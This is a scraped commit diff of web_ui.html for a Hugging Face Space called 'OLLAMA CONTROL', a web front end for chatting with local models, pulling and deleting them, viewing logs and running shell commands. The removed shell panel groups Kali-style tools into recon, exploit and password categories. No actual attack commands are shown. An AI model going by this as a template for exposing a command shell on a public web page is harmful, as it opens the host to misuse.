Spaces:

proti0070
/

Tgconfig

Running

App Files Files Community

proti0070 commited on Mar 5

Commit

48f1463

verified ·

1 Parent(s): 3ef482e

Update web_ui.html

Browse files

Files changed (1) hide show

web_ui.html +593 -731

web_ui.html CHANGED Viewed

@@ -3,363 +3,355 @@
 <head>
 <meta charset="UTF-8"/>
 <meta name="viewport" content="width=device-width,initial-scale=1"/>
-<title>OLLAMA CONTROL</title>
-<link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300&display=swap" rel="stylesheet"/>
 <style>
 :root {
-  --bg:       #080a0c;
-  --panel:    #0d1117;
-  --border:   #1c2333;
-  --accent:   #00e5ff;
-  --accent2:  #ff6b35;
-  --accent3:  #39ff14;
-  --text:     #c9d1d9;
-  --dim:      #484f58;
-  --danger:   #f85149;
-  --success:  #39d353;
-  --warn:     #e3b341;
-  --font-mono: 'Share Tech Mono', monospace;
-  --font-body: 'DM Mono', monospace;
   --font-head: 'Bebas Neue', sans-serif;
 }
 *{box-sizing:border-box;margin:0;padding:0}
-html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-body);overflow:hidden}
-/* ── SCAN LINE OVERLAY ── */
 body::after{
-  content:'';position:fixed;inset:0;pointer-events:none;z-index:9999;
-  background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.07) 2px,rgba(0,0,0,.07) 4px);
 }
-/* ── LAYOUT ── */
-#app{display:grid;grid-template-rows:56px 1fr;height:100vh}
-/* ── HEADER ── */
 header{
-  display:flex;align-items:center;gap:16px;padding:0 20px;
   background:var(--panel);border-bottom:1px solid var(--border);
-  position:relative;overflow:hidden;
 }
-header::before{
   content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
-  background:linear-gradient(90deg,transparent,var(--accent),var(--accent2),transparent);
-  animation:scanH 3s linear infinite;
-}
-@keyframes scanH{from{transform:translateX(-100%)}to{transform:translateX(100%)}}
-.logo{font-family:var(--font-head);font-size:28px;letter-spacing:3px;color:var(--accent);text-shadow:0 0 20px rgba(0,229,255,.4)}
-.logo span{color:var(--accent2)}
-.status-dot{width:8px;height:8px;border-radius:50%;background:var(--danger);box-shadow:0 0 6px var(--danger);animation:pulse 2s infinite;flex-shrink:0}
-.status-dot.online{background:var(--accent3);box-shadow:0 0 8px var(--accent3)}
-@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
-.status-text{font-size:11px;color:var(--dim);letter-spacing:1px}
 .spacer{flex:1}
-/* model selector */
-.model-select-wrap{display:flex;align-items:center;gap:8px}
-.model-select-wrap label{font-size:10px;color:var(--dim);letter-spacing:2px;text-transform:uppercase}
-#global-model{
-  background:#111;border:1px solid var(--border);color:var(--accent);
-  font-family:var(--font-mono);font-size:12px;padding:4px 8px;border-radius:3px;
-  outline:none;cursor:pointer;
 }
-#global-model:focus{border-color:var(--accent)}
-/* ── TABS ── */
-#tabs{display:flex;height:100%;overflow:hidden}
 .tab-nav{
-  display:flex;flex-direction:column;width:52px;background:var(--panel);
-  border-right:1px solid var(--border);padding:8px 0;gap:2px;flex-shrink:0;
 }
-.tab-btn{
   display:flex;flex-direction:column;align-items:center;justify-content:center;
-  gap:4px;padding:12px 4px;cursor:pointer;border:none;background:transparent;
-  color:var(--dim);font-size:8px;letter-spacing:1px;text-transform:uppercase;
-  border-left:2px solid transparent;transition:all .2s;
 }
-.tab-btn svg{width:18px;height:18px;stroke:currentColor;fill:none;stroke-width:1.5}
-.tab-btn:hover{color:var(--text);background:rgba(255,255,255,.03)}
-.tab-btn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,229,255,.05)}
-.tab-btn.active svg{filter:drop-shadow(0 0 4px var(--accent))}
 .panels{flex:1;overflow:hidden;position:relative}
 .panel{position:absolute;inset:0;display:none;flex-direction:column}
 .panel.active{display:flex}
-/* ── SHARED PANEL PARTS ── */
-.panel-header{
-  padding:12px 16px;border-bottom:1px solid var(--border);
-  display:flex;align-items:center;gap:10px;flex-shrink:0;
 }
-.panel-title{font-family:var(--font-head);font-size:20px;letter-spacing:2px;color:var(--text)}
-.panel-title span{color:var(--accent)}
 .badge{
-  font-size:9px;padding:2px 7px;border-radius:2px;letter-spacing:1px;
-  background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent);
 }
-/* ── CHAT PANEL ── */
-#chat-panel{background:var(--bg)}
-#chat-messages{
-  flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;
-  scroll-behavior:smooth;
 }
-#chat-messages::-webkit-scrollbar{width:4px}
-#chat-messages::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
-.msg{display:flex;gap:10px;max-width:85%;animation:msgIn .2s ease}
-@keyframes msgIn{from{opacity:0;transform:translateY(6px)}to{opacity:1;transform:none}}
 .msg.user{align-self:flex-end;flex-direction:row-reverse}
-.msg-avatar{
-  width:28px;height:28px;border-radius:3px;display:flex;align-items:center;
-  justify-content:center;font-size:10px;font-weight:bold;flex-shrink:0;margin-top:2px;
-}
-.msg.user .msg-avatar{background:rgba(255,107,53,.2);border:1px solid var(--accent2);color:var(--accent2)}
-.msg.ai .msg-avatar{background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent)}
-.msg-bubble{
-  padding:10px 14px;border-radius:4px;font-size:13px;line-height:1.6;
-  font-family:var(--font-body);white-space:pre-wrap;word-break:break-word;
-}
-.msg.user .msg-bubble{background:rgba(255,107,53,.12);border:1px solid rgba(255,107,53,.25);color:#ffb899}
-.msg.ai .msg-bubble{background:rgba(0,229,255,.05);border:1px solid rgba(0,229,255,.15);color:var(--text)}
-.msg.ai .msg-bubble.streaming::after{
-  content:'▋';animation:blink .6s step-end infinite;color:var(--accent);
-}
 @keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
-.msg-time{font-size:9px;color:var(--dim);margin-top:4px;text-align:right}
 .chat-empty{
-  flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;
-  gap:8px;color:var(--dim);
 }
-.chat-empty .big{font-family:var(--font-head);font-size:48px;letter-spacing:4px;color:rgba(0,229,255,.1)}
-#chat-input-area{
-  padding:12px 16px;border-top:1px solid var(--border);
   display:flex;gap:8px;align-items:flex-end;background:var(--panel);
 }
-#chat-input{
-  flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
-  font-family:var(--font-body);font-size:13px;padding:10px 12px;border-radius:4px;
-  outline:none;resize:none;max-height:120px;min-height:40px;
-  transition:border-color .2s;line-height:1.5;
 }
-#chat-input:focus{border-color:rgba(0,229,255,.4)}
-#chat-input::placeholder{color:var(--dim)}
 .send-btn{
-  background:var(--accent);color:#000;border:none;padding:10px 16px;
-  border-radius:4px;cursor:pointer;font-family:var(--font-head);font-size:14px;
-  letter-spacing:1px;transition:all .2s;flex-shrink:0;height:40px;
-  display:flex;align-items:center;gap:6px;
 }
-.send-btn:hover{background:#33eaff;box-shadow:0 0 16px rgba(0,229,255,.4)}
 .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
-.send-btn svg{width:14px;height:14px;stroke:currentColor;fill:none;stroke-width:2}
-/* ── SHELL PANEL ── */
-#shell-panel{background:#060809}
-.shell-toolbar{
-  padding:8px 16px;border-bottom:1px solid var(--border);
-  display:flex;gap:8px;align-items:center;background:var(--panel);flex-shrink:0;
-}
-.shell-input-wrap{
-  flex:1;display:flex;align-items:center;gap:8px;
-  background:#070c10;border:1px solid var(--border);border-radius:3px;padding:0 10px;
-}
-.shell-prompt{color:var(--accent3);font-family:var(--font-mono);font-size:13px;user-select:none}
-#shell-input{
-  flex:1;background:transparent;border:none;outline:none;
-  color:#e0ffe0;font-family:var(--font-mono);font-size:13px;padding:8px 0;
-}
-#shell-input::placeholder{color:#1e3a1e}
-.run-btn,.kill-btn{
-  border:none;padding:7px 14px;border-radius:3px;cursor:pointer;
-  font-family:var(--font-head);font-size:13px;letter-spacing:1px;
-  transition:all .2s;white-space:nowrap;
-}
-.run-btn{background:var(--accent3);color:#000}
-.run-btn:hover{box-shadow:0 0 12px rgba(57,255,20,.4)}
-.run-btn:disabled{background:#1a2e1a;color:#2a4a2a;cursor:not-allowed}
-.kill-btn{background:var(--danger);color:#fff;display:none}
-.kill-btn:hover{box-shadow:0 0 12px rgba(248,81,73,.4)}
-.kill-btn.visible{display:block}
-#shell-output{
-  flex:1;overflow-y:auto;padding:14px 16px;
-  font-family:var(--font-mono);font-size:12.5px;line-height:1.7;
-  color:#b0ffb0;word-break:break-all;
-}
-#shell-output::-webkit-scrollbar{width:4px}
-#shell-output::-webkit-scrollbar-thumb{background:var(--border)}
-.shell-line{}
-.shell-cmd-echo{color:var(--accent);margin:6px 0 2px}
-.shell-exit-ok{color:var(--accent3);font-size:11px;margin-top:4px}
-.shell-exit-err{color:var(--danger);font-size:11px;margin-top:4px}
-.shell-empty-msg{color:#1e3a1e;text-align:center;margin-top:60px;font-size:13px}
-/* shell quick cmds */
-.quick-cmds{
-  display:flex;gap:6px;padding:6px 16px;border-bottom:1px solid var(--border);
-  flex-wrap:wrap;flex-shrink:0;background:#07090c;
 }
-.qcmd{
-  font-family:var(--font-mono);font-size:10px;padding:3px 8px;
-  background:rgba(57,255,20,.06);border:1px solid rgba(57,255,20,.2);
-  color:rgba(57,255,20,.7);border-radius:2px;cursor:pointer;
-  transition:all .15s;white-space:nowrap;
-}
-.qcmd:hover{background:rgba(57,255,20,.15);color:var(--accent3)}
-.cat-tab{
   background:transparent;border:none;border-bottom:2px solid transparent;
-  color:var(--dim);font-family:var(--font-mono);font-size:10px;
-  padding:8px 14px;cursor:pointer;white-space:nowrap;transition:all .15s;
-  letter-spacing:.5px;
 }
-.cat-tab:hover{color:var(--text);background:rgba(255,255,255,.03)}
-.cat-tab.active{color:var(--accent3);border-bottom-color:var(--accent3);background:rgba(57,255,20,.05)}
-/* ── MODELS PANEL ── */
-#models-panel{background:var(--bg)}
-.models-content{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px}
-.models-actions{display:flex;gap:8px;flex-wrap:wrap}
-.pull-wrap{display:flex;gap:8px;flex:1;min-width:200px}
-#pull-input{
-  flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
-  font-family:var(--font-mono);font-size:12px;padding:8px 12px;border-radius:3px;outline:none;
-}
-#pull-input:focus{border-color:rgba(0,229,255,.4)}
-#pull-input::placeholder{color:var(--dim)}
-.action-btn{
-  border:none;padding:8px 16px;border-radius:3px;cursor:pointer;
-  font-family:var(--font-head);font-size:13px;letter-spacing:1px;transition:all .2s;
 }
-.action-btn.primary{background:var(--accent);color:#000}
-.action-btn.primary:hover{box-shadow:0 0 12px rgba(0,229,255,.4)}
-.action-btn.secondary{background:var(--border);color:var(--text)}
-.action-btn.secondary:hover{background:#2a3340}
-.model-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(280px,1fr));gap:10px}
-.model-card{
-  background:var(--panel);border:1px solid var(--border);border-radius:5px;
-  padding:14px;transition:border-color .2s;cursor:pointer;
-}
-.model-card:hover{border-color:rgba(0,229,255,.3)}
-.model-card.active-model{border-color:var(--accent);background:rgba(0,229,255,.04)}
-.model-name{font-family:var(--font-mono);font-size:13px;color:var(--accent);margin-bottom:4px}
-.model-meta{font-size:11px;color:var(--dim);display:flex;gap:12px;flex-wrap:wrap}
-.model-meta span{display:flex;align-items:center;gap:4px}
-.model-actions{margin-top:10px;display:flex;gap:6px}
-.m-btn{
-  font-size:10px;padding:4px 10px;border-radius:2px;border:none;cursor:pointer;
-  font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
 }
-.m-btn.use{background:rgba(0,229,255,.15);color:var(--accent);border:1px solid rgba(0,229,255,.3)}
-.m-btn.use:hover{background:rgba(0,229,255,.25)}
-.m-btn.del{background:rgba(248,81,73,.1);color:var(--danger);border:1px solid rgba(248,81,73,.3)}
-.m-btn.del:hover{background:rgba(248,81,73,.2)}
-.pull-progress{
-  background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px;
-  display:none;
 }
-.pull-progress.visible{display:block}
-.progress-label{font-size:11px;color:var(--dim);margin-bottom:8px;font-family:var(--font-mono)}
-.progress-bar-wrap{background:#0a0f15;border-radius:2px;height:4px;overflow:hidden}
-.progress-bar{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent2));
-  width:0%;transition:width .3s;border-radius:2px}
-.progress-status{font-size:11px;color:var(--accent);margin-top:6px;font-family:var(--font-mono)}
-/* no models */
-.no-models{text-align:center;padding:40px;color:var(--dim)}
-.no-models .icon{font-size:48px;margin-bottom:12px;opacity:.3}
-/* ── LOGS PANEL ── */
-#logs-panel{background:#060809}
-#log-output{
-  flex:1;overflow-y:auto;padding:14px 16px;
-  font-family:var(--font-mono);font-size:11.5px;line-height:1.8;color:#7a8a7a;
 }
-.log-line{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
-.log-line.info{color:#7aafbf}
-.log-line.warn{color:var(--warn)}
-.log-line.error{color:var(--danger)}
-.log-line.success{color:var(--accent3)}
-.log-ts{color:var(--dim);margin-right:8px;user-select:none}
-.logs-toolbar{padding:8px 16px;border-bottom:1px solid var(--border);background:var(--panel);flex-shrink:0;display:flex;gap:8px}
-/* ── TOAST ── */
-#toast{
-  position:fixed;bottom:20px;right:20px;z-index:10000;
-  display:flex;flex-direction:column;gap:8px;pointer-events:none;
 }
-.toast-item{
-  background:var(--panel);border-radius:4px;padding:10px 16px;
-  font-size:12px;animation:toastIn .3s ease;border-left:3px solid var(--accent);
-  box-shadow:0 4px 20px rgba(0,0,0,.6);
 }
-.toast-item.error{border-color:var(--danger);color:var(--danger)}
-.toast-item.success{border-color:var(--accent3);color:var(--accent3)}
-@keyframes toastIn{from{opacity:0;transform:translateX(20px)}to{opacity:1;transform:none}}
-/* scrollbar global */
-*::-webkit-scrollbar{width:4px;height:4px}
 *::-webkit-scrollbar-track{background:transparent}
-*::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
 </style>
 </head>
 <body>
 <div id="app">
   <!-- HEADER -->
   <header>
-    <div class="logo">OLLAMA<span>CTRL</span></div>
-    <div class="status-dot" id="status-dot"></div>
-    <div class="status-text" id="status-text">CONNECTING...</div>
     <div class="spacer"></div>
-    <div class="model-select-wrap">
       <label>MODEL</label>
-      <select id="global-model"><option value="">— select —</option></select>
     </div>
   </header>
-  <!-- MAIN -->
-  <div id="tabs">
     <!-- TAB NAV -->
     <nav class="tab-nav">
-      <button class="tab-btn active" data-tab="chat" title="Chat">
         <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
         CHAT
       </button>
-      <button class="tab-btn" data-tab="shell" title="Shell">
         <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
         SHELL
       </button>
-      <button class="tab-btn" data-tab="models" title="Models">
         <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
         MODELS
       </button>
-      <button class="tab-btn" data-tab="logs" title="Logs">
-        <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/><polyline points="10 9 9 9 8 9"/></svg>
         LOGS
       </button>
     </nav>
     <div class="panels">
       <!-- ── CHAT ── -->
       <div class="panel active" id="chat-panel">
-        <div class="panel-header">
-          <div class="panel-title">AI <span>CHAT</span></div>
-          <div class="badge" id="chat-model-badge">no model</div>
           <div style="flex:1"></div>
-          <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearChat()">CLEAR</button>
         </div>
-        <div id="chat-messages">
           <div class="chat-empty" id="chat-empty">
-            <div class="big">OLLAMA</div>
-            <div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div>
           </div>
         </div>
-        <div id="chat-input-area">
-          <textarea id="chat-input" rows="1" placeholder="Type a message... (Enter to send, Shift+Enter for newline)"></textarea>
           <button class="send-btn" id="send-btn" onclick="sendChat()">
             <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
             SEND
@@ -369,152 +361,117 @@ header::before{
       <!-- ── SHELL ── -->
       <div class="panel" id="shell-panel">
-        <div class="panel-header">
-          <div class="panel-title">SHELL <span>TERMINAL</span></div>
-          <div class="badge">LIVE STREAM</div>
         </div>
-        <!-- Kali tool category tabs -->
-        <div style="display:flex;gap:0;border-bottom:1px solid var(--border);flex-shrink:0;background:#07090c;overflow-x:auto" id="cat-tabs">
-          <button class="cat-tab active" onclick="switchCat(this,'system')">⚙ SYSTEM</button>
-          <button class="cat-tab" onclick="switchCat(this,'recon')">🔍 RECON</button>
-          <button class="cat-tab" onclick="switchCat(this,'web')">🌐 WEB</button>
-          <button class="cat-tab" onclick="switchCat(this,'network')">📡 NETWORK</button>
-          <button class="cat-tab" onclick="switchCat(this,'exploit')">💥 EXPLOIT</button>
-          <button class="cat-tab" onclick="switchCat(this,'password')">🔑 PASSWORD</button>
-          <button class="cat-tab" onclick="switchCat(this,'forensics')">🔬 FORENSICS</button>
-          <button class="cat-tab" onclick="switchCat(this,'ollama')">🦙 OLLAMA</button>
         </div>
-        <div class="quick-cmds" id="quick-cmds"><!-- populated by JS --></div>
-        <div class="shell-toolbar">
-          <div class="shell-input-wrap">
-            <span class="shell-prompt">$&nbsp;</span>
-            <input id="shell-input" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
           </div>
           <button class="run-btn" id="run-btn" onclick="runShell()">▶ RUN</button>
           <button class="kill-btn" id="kill-btn" onclick="killShell()">■ KILL</button>
-          <button class="action-btn secondary" style="font-size:11px;padding:6px 10px" onclick="clearShell()">CLR</button>
-        </div>
-        <div id="shell-output">
-          <div class="shell-empty-msg">// awaiting command input</div>
         </div>
       </div>
       <!-- ── MODELS ── -->
       <div class="panel" id="models-panel">
-        <div class="panel-header">
-          <div class="panel-title">MODEL <span>MANAGER</span></div>
-          <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="loadModels()">↻ REFRESH</button>
         </div>
-        <div class="models-content">
-          <!-- Pull bar -->
-          <div style="background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px">
-            <div style="font-size:10px;color:var(--dim);letter-spacing:2px;margin-bottom:10px">PULL NEW MODEL</div>
-            <div class="models-actions">
-              <div class="pull-wrap">
-                <input id="pull-input" type="text" placeholder="e.g. llama3.2, phi3, mistral, gemma2:2b"/>
-                <button class="action-btn primary" onclick="pullModel()">⬇ PULL</button>
-              </div>
             </div>
-            <div style="margin-top:8px;display:flex;gap:8px;flex-wrap:wrap" id="popular-models">
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='tinyllama'">tinyllama</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='phi3'">phi3</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='gemma2:2b'">gemma2:2b</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='mistral'">mistral</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='llama3.2'">llama3.2</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='qwen2.5:3b'">qwen2.5:3b</span>
-              <span class="qcmd" onclick="document.getElementById('pull-input').value='deepseek-r1:7b'">deepseek-r1:7b</span>
             </div>
           </div>
-          <!-- Pull progress -->
-          <div class="pull-progress" id="pull-progress">
-            <div class="progress-label" id="pull-model-name">Pulling...</div>
-            <div class="progress-bar-wrap"><div class="progress-bar" id="pull-bar"></div></div>
-            <div class="progress-status" id="pull-status">Initializing...</div>
-          </div>
-          <!-- Model list -->
-          <div class="model-grid" id="model-grid">
-            <div class="no-models">
-              <div class="icon">📦</div>
-              <div style="font-size:12px;letter-spacing:1px">Loading models...</div>
-            </div>
           </div>
         </div>
       </div>
       <!-- ── LOGS ── -->
       <div class="panel" id="logs-panel">
-        <div class="panel-header">
-          <div class="panel-title">SYSTEM <span>LOGS</span></div>
-          <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearLogs()">CLEAR</button>
         </div>
-        <div id="log-output">
-          <div class="log-line info"><span class="log-ts">[INIT]</span> OllamaCtrl web interface started</div>
         </div>
       </div>
-    </div>
-  </div>
-</div>
-<!-- TOAST -->
 <div id="toast"></div>
 <script>
-// ─────────────────────────────────────────────
-// CONFIG — auto-detect base URL
-// ─────────────────────────────────────────────
-const BASE = window.location.origin; // same origin as /web
-// ─────────────────────────────────────────────
-// STATE
-// ─────────────────────────────────────────────
 let currentModel = '';
-let chatHistory = [];
-let shellController = null;
 let shellRunning = false;
-let shellHistory = [];
-let shellHistoryIdx = -1;
-// ─────────────────────────────────────────────
-// UTILS
-// ─────────────────────────────────────────────
-function log(msg, type='info') {
-  const el = document.getElementById('log-output');
-  const ts = new Date().toLocaleTimeString('en',{hour12:false});
-  const line = document.createElement('div');
-  line.className = `log-line ${type}`;
-  line.innerHTML = `<span class="log-ts">[${ts}]</span> ${msg}`;
-  el.appendChild(line);
-  el.scrollTop = el.scrollHeight;
-}
-function toast(msg, type='info') {
-  const t = document.getElementById('toast');
-  const el = document.createElement('div');
-  el.className = `toast-item ${type}`;
-  el.textContent = msg;
-  t.appendChild(el);
-  setTimeout(()=>el.remove(), 3500);
-}
-function clearLogs(){document.getElementById('log-output').innerHTML=''}
-function fmt(bytes) {
-  if (!bytes) return '';
-  const gb = bytes/1e9;
-  return gb >= 1 ? gb.toFixed(1)+'GB' : (bytes/1e6).toFixed(0)+'MB';
-}
-function now(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'})}
-// ─────────────────────────────────────────────
-// TABS
-// ─────────────────────────────────────────────
-document.querySelectorAll('.tab-btn').forEach(btn=>{
   btn.addEventListener('click',()=>{
-    const tab = btn.dataset.tab;
-    document.querySelectorAll('.tab-btn').forEach(b=>b.classList.remove('active'));
     document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
     btn.classList.add('active');
     document.getElementById(tab+'-panel').classList.add('active');
@@ -522,505 +479,410 @@ document.querySelectorAll('.tab-btn').forEach(btn=>{
   });
 });
-// ─────────────────────────────────────────────
-// STATUS CHECK
-// ─────────────────────────────────────────────
-async function checkStatus() {
-  try {
-    const r = await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
     if(r.ok){
-      document.getElementById('status-dot').classList.add('online');
-      document.getElementById('status-text').textContent='CONNECTED';
-      log('Server online','success');
-      await loadModels(true); // silent load
     }
-  } catch(e){
-    document.getElementById('status-dot').classList.remove('online');
-    document.getElementById('status-text').textContent='OFFLINE';
     log('Server unreachable: '+e.message,'error');
   }
 }
-// ─────────────────────────────────────────────
-// MODEL MANAGEMENT
-// ─────────────────────────────────────────────
-async function loadModels(silent=false) {
-  try {
-    const r = await fetch(`${BASE}/api/tags`);
-    const data = await r.json();
-    const models = data.models || [];
-    // Update global select
-    const sel = document.getElementById('global-model');
-    const prev = sel.value;
-    sel.innerHTML = '<option value="">— select —</option>';
     models.forEach(m=>{
-      const o = document.createElement('option');
-      o.value = m.name; o.textContent = m.name;
       sel.appendChild(o);
     });
-    if(prev) sel.value = prev;
-    // Update model grid
-    const grid = document.getElementById('model-grid');
     if(!models.length){
-      grid.innerHTML='<div class="no-models"><div class="icon">📦</div><div style="font-size:12px;letter-spacing:1px">No models. Pull one above.</div></div>';
       return;
     }
-    grid.innerHTML = models.map(m=>`
-      <div class="model-card ${currentModel===m.name?'active-model':''}" onclick="selectModel('${m.name}')">
-        <div class="model-name">${m.name}</div>
-        <div class="model-meta">
           <span>💾 ${fmt(m.size)}</span>
           ${m.details?.parameter_size?`<span>🔢 ${m.details.parameter_size}</span>`:''}
           ${m.details?.quantization_level?`<span>⚡ ${m.details.quantization_level}</span>`:''}
         </div>
-        <div class="model-actions">
-          <button class="m-btn use" onclick="event.stopPropagation();selectModel('${m.name}')">USE</button>
-          <button class="m-btn del" onclick="event.stopPropagation();deleteModel('${m.name}')">DELETE</button>
         </div>
       </div>`).join('');
-    if(!silent) log(`Loaded ${models.length} models`,'info');
-  } catch(e){
-    if(!silent) log('Failed to load models: '+e.message,'error');
   }
 }
 function selectModel(name){
-  currentModel = name;
-  document.getElementById('global-model').value = name;
-  document.getElementById('chat-model-badge').textContent = name;
-  toast('Model: '+name,'success');
-  log('Active model → '+name,'success');
   loadModels(true);
 }
-document.getElementById('global-model').addEventListener('change',function(){
   if(this.value) selectModel(this.value);
 });
 async function deleteModel(name){
-  if(!confirm(`Delete model "${name}"?`)) return;
-  try {
     await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
     toast('Deleted: '+name,'error');
-    log('Deleted model: '+name,'warn');
     loadModels();
-    if(currentModel===name){currentModel='';document.getElementById('global-model').value='';}
-  } catch(e){
-    toast('Delete failed','error');log('Delete error: '+e.message,'error');
-  }
 }
 async function pullModel(){
-  const name = document.getElementById('pull-input').value.trim();
-  if(!name){toast('Enter a model name','error');return;}
-  const prog = document.getElementById('pull-progress');
-  const bar = document.getElementById('pull-bar');
-  const status = document.getElementById('pull-status');
-  const label = document.getElementById('pull-model-name');
-  prog.classList.add('visible');
-  label.textContent = `Pulling: ${name}`;
-  bar.style.width='0%'; status.textContent='Starting...';
-  log(`Pulling model: ${name}`,'info');
-  try {
-    const r = await fetch(`${BASE}/api/pull`,{
       method:'POST',headers:{'Content-Type':'application/json'},
       body:JSON.stringify({name})
     });
-    const reader = r.body.getReader();
-    const dec = new TextDecoder();
     let buf='';
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
       buf+=dec.decode(value,{stream:true});
-      const lines=buf.split('\n'); buf=lines.pop();
       for(const line of lines){
         if(!line.trim()) continue;
         try{
           const d=JSON.parse(line);
-          status.textContent=d.status||'...';
-          if(d.total&&d.completed){
-            const pct=Math.round(d.completed/d.total*100);
-            bar.style.width=pct+'%';
-          }
         }catch(e){}
       }
     }
-    prog.classList.remove('visible');
-    bar.style.width='100%';
-    toast('✓ Pulled: '+name,'success');
-    log('Pull complete: '+name,'success');
-    document.getElementById('pull-input').value='';
     loadModels();
-  } catch(e){
-    prog.classList.remove('visible');
-    toast('Pull failed','error'); log('Pull error: '+e.message,'error');
   }
 }
-// Enter on pull input
-document.getElementById('pull-input').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel()});
-// ─────────────────────────────────────────────
-// CHAT
-// ─────────────────────────────────────────────
 function clearChat(){
-  chatHistory=[];
-  const msgs=document.getElementById('chat-messages');
-  msgs.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">OLLAMA</div><div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div></div>';
   log('Chat cleared');
 }
-function appendMsg(role, text, streaming=false){
   const empty=document.getElementById('chat-empty');
   if(empty) empty.remove();
-  const msgs=document.getElementById('chat-messages');
   const wrap=document.createElement('div');
-  wrap.className=`msg ${role}`;
   const av=document.createElement('div');
-  av.className='msg-avatar';
   av.textContent=role==='user'?'YOU':'AI';
   const bub=document.createElement('div');
-  bub.className=`msg-bubble${streaming?' streaming':''}`;
   bub.textContent=text;
-  const time=document.createElement('div');
-  time.className='msg-time'; time.textContent=now();
   const inner=document.createElement('div');
-  inner.appendChild(bub); inner.appendChild(time);
-  wrap.appendChild(av); wrap.appendChild(inner);
   msgs.appendChild(wrap);
   msgs.scrollTop=msgs.scrollHeight;
   return bub;
 }
 async function sendChat(){
-  const input=document.getElementById('chat-input');
   const text=input.value.trim();
   if(!text) return;
   if(!currentModel){toast('Select a model first','error');return;}
-  input.value=''; input.style.height='';
   document.getElementById('send-btn').disabled=true;
-  log(`Chat → ${currentModel}: "${text.slice(0,40)}..."`,'info');
-  appendMsg('user', text);
-  chatHistory.push({role:'user',content:text});
-  const bubble=appendMsg('ai','',true);
-  let fullText='';
-  try {
     const r=await fetch(`${BASE}/api/chat`,{
-      method:'POST',headers:{'Content-Type':'application/json'},
-      body:JSON.stringify({model:currentModel,messages:chatHistory,stream:true})
     });
     const reader=r.body.getReader();
     const dec=new TextDecoder();
-    let buf='';
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
-      buf+=dec.decode(value,{stream:true});
-      const lines=buf.split('\n'); buf=lines.pop();
-      for(const line of lines){
-        if(!line.trim()) continue;
-        try{
-          const d=JSON.parse(line);
-          const token=d.message?.content||'';
-          fullText+=token;
-          bubble.textContent=fullText;
-          document.getElementById('chat-messages').scrollTop=9999;
-          if(d.done) break;
-        }catch(e){}
-      }
     }
     bubble.classList.remove('streaming');
-    chatHistory.push({role:'assistant',content:fullText});
-    log(`AI responded (${fullText.length} chars)`,'success');
-  } catch(e){
-    bubble.textContent='Error: '+e.message;
     bubble.classList.remove('streaming');
-    bubble.style.color='var(--danger)';
     log('Chat error: '+e.message,'error');
   }
   document.getElementById('send-btn').disabled=false;
   input.focus();
 }
-// Chat input handlers
-const chatInput=document.getElementById('chat-input');
-chatInput.addEventListener('keydown',e=>{
-  if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}
-});
-chatInput.addEventListener('input',function(){
-  this.style.height='auto';
-  this.style.height=Math.min(this.scrollHeight,120)+'px';
-});
-// ─────────────────────────────────────────────
-// SHELL
-// ─────────────────────────────────────────────
